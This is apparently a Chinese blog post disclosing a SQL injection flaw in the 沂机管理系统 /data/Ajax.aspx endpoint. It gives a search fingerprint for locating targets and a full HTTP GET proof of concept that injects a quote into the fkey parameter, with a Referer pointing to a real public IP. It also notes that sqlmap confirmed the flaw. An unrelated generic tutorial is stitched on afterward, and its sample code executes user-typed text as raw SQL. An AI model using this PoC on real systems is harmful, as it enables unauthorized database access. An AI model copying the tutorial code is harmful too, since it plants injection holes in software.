沂机管理系统/data/Ajax.aspx接口存在SQL注入漏洞

漏洞描述

沂机管理系统/data/Ajax.aspx接口存在SQL注入漏洞,攻击者可以获取服务器权限

漏洞复现

body="后台管理系统演示版"

POC

GET /data/Ajax.aspx?method=log_list&page=1&limit=20&fkey=1'&fdate1=2024-10-01+00%3A00%3A00&fdate2=2024-10-01+23%3A59%3A59 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://221.2.93.215:8091/basedata/log_list.aspx?ModuleID=104&navtabid=a102&reporttitle=60xZrkSLVc4i9GTkoGayYA==&fwidth=600&fheight=355
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ASP.NET_SessionId=d2dkwvksddxsvejtgqmh3oe3; pfbs_Login_compid=1001
Connection: keep-alive

bp 报错泄露绝对路径

sqlmap确认有漏洞

在使用Ajax连接SQL Server之前,需要确保您已经安装了Microsoft SQL Server,并且已经创建了您需要访问的数据库。接下来您可以按照以下步骤操作: 1. 首先,创建一个ASP.NET Web应用程序,并在其中添加一个WebForm页面。 2. 在WebForm页面中添加一个文本框和一个按钮。文本框用于输入查询语句,按钮用于触发查询操作。 3. 接下来,在WebForm页面中添加一个ScriptManager控件,以启用Ajax功能。 4. 在代码文件中添加以下命名空间: using System.Data.SqlClient; using System.Web.Script.Serialization; 5. 在按钮的单击事件中,编写C#代码来连接到SQL Server,并执行查询。以下是一个简单的示例代码: protected void Button1_Click(object sender, EventArgs e) { string connStr = "Data Source=myServerAddress;Initial Catalog=myDataBase;User Id=myUsername;Password=myPassword;"; SqlConnection conn = new SqlConnection(connStr); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = TextBox1.Text; conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); DataTable dt = new DataTable(); dt.Load(reader); conn.Close(); JavaScriptSerializer serializer = new JavaScriptSerializer(); string json = serializer.Serialize(dt); Response.Write(json); } 在上面的代码中,您需要将“myServerAddress”替换为SQL Server实例的名称,“myDataBase”替换为要连接的数据库的名称,“myUsername”和“myPassword”替换为访问数据库的凭据。 6. 最后,在WebForm页面中添加一个JavaScript函数,使用Ajax从服务器获取JSON数据并将其显示在页面上。以下是一个简单的示例代码: function getData() { var query = document.getElementById("TextBox1").value; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var data = JSON.parse(this.responseText); var table = "<table>"; for (var i = 0; i < data.length; i++) { table += "<tr>"; for (var j in data[i]) { table += "<td>" + data[i][j] + "</td>"; } table += "</tr>"; } table += "</table>"; document.getElementById("result").innerHTML = table; } }; xmlhttp.open("GET", "Default.aspx?query=" + encodeURIComponent(query), true); xmlhttp.send(); } 在上面的代码中,“result”是一个DIV元素,用于显示查询结果。此外,我们将查询字符串作为GET参数传递给服务器端。 以上就是使用Ajax连接SQL Server的简单示例。如果您需要更复杂的功能,请参考相关文档或教程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值